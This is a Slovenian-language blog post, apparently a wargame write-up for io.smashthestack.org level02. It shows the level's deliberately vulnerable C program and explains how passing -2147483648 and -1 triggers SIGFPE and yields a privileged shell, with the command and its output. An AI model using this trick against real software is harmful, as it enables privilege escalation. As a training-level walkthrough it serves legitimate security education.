CREATIVE CHAOS   ▋ blog

io.smashthestack.org / level02

PUBLISHED ON 21/01/2016 — EDITED ON 14/12/2023 — .SL, INFOSEC

Intro

Nekaj besed o drugi stopnji io.smashthestack.org.

Povezava

$ ssh -l level2 io.smashthestack.org -p2224

Oboroženi z visoko stopnjo samozavesti najprej preizkusimo tisto kar je delovalo na prvi stopnji:

   level2@io:/levels$ ./level02
   source code is available in level02.c

Namig je več kot dobrodošel, preverimo izvorno kodo:

    level2@io:/levels$ cat level02.c
    //a little fun brought to you by bla
    
    #include 
    #include 
    #include 
    #include 
    
    void catcher(int a)
    {
            setresuid(geteuid(),geteuid(),geteuid());
    	printf("WIN!\n");
            system("/bin/sh");
            exit(0);
    }
    
    int main(int argc, char **argv)
    {
    	puts("source code is available in level02.c\n");
    
            if (argc != 3 || !atoi(argv[2]))
                    return 1;
            signal(SIGFPE, catcher);
            return abs(atoi(argv[1])) / atoi(argv[2]);
    }

Hiter pregled C kode nam pove:

  * pri zagonu programa potrebujemo poleg imena programa še dva argumenta (`argc != 3`)
  * drugi argument ne sme biti `0` (`!atoi(argv[2])`)
  * oba argumenta morata biti celi števili, ker sta vhod fukcije `atoi()`, ki spremeni niz znakov v celo število.

argc je števec argumentov, ang. argument count argv je kazalec na argument, ang. argument vector

Večino C-jevskih pojasnil lahko najdemo kar v priloženih navodilih:

    man atoi

atoi

Funkcija int atoi(const char *nptr);, spremeni niz znakov v celo število. Niz mora vsebovati primerno celo število, sicer funkcija vrne 0. Številka je lahko zaključena s katerikolim znakom, ki ni del celega števila (presledek, ločila,…).

signal

Nastavi določeno funkcijo, kot odziv na prejeti signal. Torej v primeru, ko program prejme ta določen signal, pokličemo nastavljeno funkcijo.

Določimo lahko specifično funkcijo oziroma enega izmed dveh makrojev: SIG_DFL privzet odziv na signal SIG_IGN ignoriraj signal SIGFPE (ang. Signal Floating-Point Exception) napačna aritmetična operacija (npr. deljenje z 0)

Za nas zanimiva je predvsem ta vrstica v navodilih:

(Also dividing the most negative integer by  -1  may  generate  SIGFPE.)

Torej deljenje najbolj negativnega celega števila z -1 lahko privede do signala SIGFPE.

abs

Funkcija int abs(int j);, vrne absolutno vrednost celega števila. Absolutna vrednost najbolj negativnega celega števila ni definirana.

Epilog

   level2@io:/levels$ ./level02 -2147483648 -1
   source code is available in level02.c
   
   WIN!
   sh-4.2$ 
TAGS: BASH, C, HACK, HACKS, LINUX, SMASH